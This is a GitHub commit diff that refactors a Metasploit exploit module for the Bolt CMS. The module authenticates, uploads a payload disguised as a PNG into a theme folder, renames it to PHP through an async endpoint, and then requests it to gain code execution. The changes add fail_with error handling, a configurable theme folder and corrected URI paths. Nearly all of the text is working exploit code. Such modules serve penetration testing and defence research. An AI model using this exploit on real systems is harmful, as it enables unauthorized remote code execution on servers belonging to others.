Skip to content

Commit 48bd2c7

Browse files
committed
Add fail_with method and other improvements
1 parent f08cf97 commit 48bd2c7

File tree

1 file changed

+41
-54
lines changed

1 file changed

+41
-54
lines changed

modules/exploits/unix/webapp/bolt_file_upload.rb

Lines changed: 41 additions & 54 deletions
Original file line numberDiff line numberDiff line change
@@ -39,15 +39,17 @@ def initialize(info = {})
3939

4040
register_options(
4141
[
42-
OptString.new('USERNAME', [true, 'The username to authenticate with']),
43-
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
42+
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
43+
OptString.new('FOLDERNAME', [true, 'The theme path to web application (base-2014 is default)', 'base-2014']),
44+
OptString.new('USERNAME', [true, 'The username to authenticate with']),
45+
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
4446
], self.class)
4547
end
4648

4749
def check
4850
res = send_request_cgi(
4951
'method' => 'GET',
50-
'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login')
52+
'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
5153
)
5254

5355
if res && res.code == 200 && res.body.include?('Cookies are required to log on to Bolt')
@@ -64,22 +66,23 @@ def password
6466
datastore['PASSWORD']
6567
end
6668

69+
def fname
70+
datastore['FOLDERNAME']
71+
end
72+
6773
def bolt_login(user, pass)
6874
res = send_request_cgi(
6975
'method' => 'GET',
70-
'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login')
76+
'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
7177
)
7278

73-
unless res
74-
print_error("#{peer} - No response from server.")
75-
return
76-
end
79+
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
7780

7881
session_cookie = res.get_cookies
7982
vprint_status("#{peer} - Logging in...")
8083
res = send_request_cgi(
8184
'method' => 'POST',
82-
'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login'),
85+
'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
8386
'cookie' => session_cookie,
8487
'vars_post' => {
8588
'username' => user,
@@ -88,16 +91,14 @@ def bolt_login(user, pass)
8891
}
8992
)
9093

91-
if res && res.code == 302 && res.redirection.to_s.include?('/bolt/bolt')
92-
return res.get_cookies
93-
end
94+
return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt')
9495
nil
9596
end
9697

97-
def get_token(cookie)
98+
def get_token(cookie, fname)
9899
res = send_request_cgi(
99100
'method' => 'GET',
100-
'uri' => normalize_uri(target_uri, 'bolt', 'bolt', 'files', 'theme', 'base-2014'),
101+
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
101102
'cookie' => cookie
102103
)
103104

@@ -107,39 +108,32 @@ def get_token(cookie)
107108
nil
108109
end
109110

110-
def rename_payload(cookie, payload)
111+
def rename_payload(cookie, payload, fname)
111112
res = send_request_cgi(
112113
'method' => 'POST',
113-
'uri' => normalize_uri(target_uri.path, 'bolt', 'async', 'renamefile'),
114+
'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),
114115
'vars_post' => {
115116
'namespace' => 'theme',
116-
'parent' => 'base-2014',
117+
'parent' => fname,
117118
'oldname' => "#{payload}.png",
118119
'newname' => "#{payload}.php"
119120
},
120121
'cookie' => cookie
121122
)
122123

123-
if res && res.code == 200
124-
return true
125-
end
124+
return true if res && res.code == 200 && res.body.include?('1')
126125
nil
127126
end
128127

129128
def exploit
130-
vprint_status("#{peer} - Authenticating using #{username}:#{password}...")
129+
vprint_status("#{peer} - Authenticating using #{username}:#{password}")
130+
131131
cookie = bolt_login(username, password)
132-
if cookie.nil?
133-
print_error("#{peer} - Failed to authenticate with Bolt")
134-
return
135-
end
132+
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
136133
vprint_good("#{peer} - Authenticated with Bolt.")
137134

138-
token = get_token(cookie)
139-
if token.nil?
140-
print_error("#{peer} - No token found.")
141-
return
142-
end
135+
token = get_token(cookie, fname)
136+
fail_with(Failure::Unknown, 'No token found.') if token.nil?
143137
vprint_good("#{peer} - Token \"#{token}\" found.")
144138

145139
vprint_status("#{peer} - Preparing payload...")
@@ -153,34 +147,27 @@ def exploit
153147
vprint_status("#{peer} - Uploading payload...")
154148
res = send_request_cgi(
155149
'method' => 'POST',
156-
'uri' => normalize_uri(target_uri, 'bolt', 'bolt', 'files', 'theme', 'base-2014'),
150+
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
157151
'ctype' => "multipart/form-data; boundary=#{data.bound}",
158152
'data' => post_data,
159153
'cookie' => cookie
160154
)
161155

162-
if res && res.code == 302
163-
vprint_good("#{peer} - Uploaded the payload")
164-
165-
rename = rename_payload(cookie, payload_name)
166-
if rename.nil?
167-
vprint_error("#{peer} - No renamed filename")
168-
return
169-
end
170-
171-
php_file_name = "#{payload_name}.php"
172-
payload_url = normalize_uri(target_uri.path, 'bolt', 'theme', 'base-2014', php_file_name)
173-
vprint_good("#{peer} - Parsed response")
174-
175-
register_files_for_cleanup(php_file_name)
176-
vprint_status("#{peer} - Executing the payload at #{payload_url}")
177-
send_request_cgi(
178-
'uri' => payload_url,
179-
'method' => 'GET'
180-
)
181-
vprint_good("#{peer} - Executed payload")
182-
else
183-
print_error("#{peer} - Exploit failed. Aborting.")
184-
end
156+
fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302
157+
vprint_good("#{peer} - Uploaded the payload.")
158+
159+
rename = rename_payload(cookie, payload_name, fname)
160+
fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil?
161+
162+
php_file_name = "#{payload_name}.php"
163+
payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name)
164+
vprint_status("#{peer} - Parsed response.")
165+
166+
register_files_for_cleanup(php_file_name)
167+
vprint_status("#{peer} - Executing the payload at #{payload_url}.")
168+
send_request_cgi(
169+
'uri' => payload_url,
170+
'method' => 'GET'
171+
)
185172
end
186173
end

0 commit comments

Comments
 (0)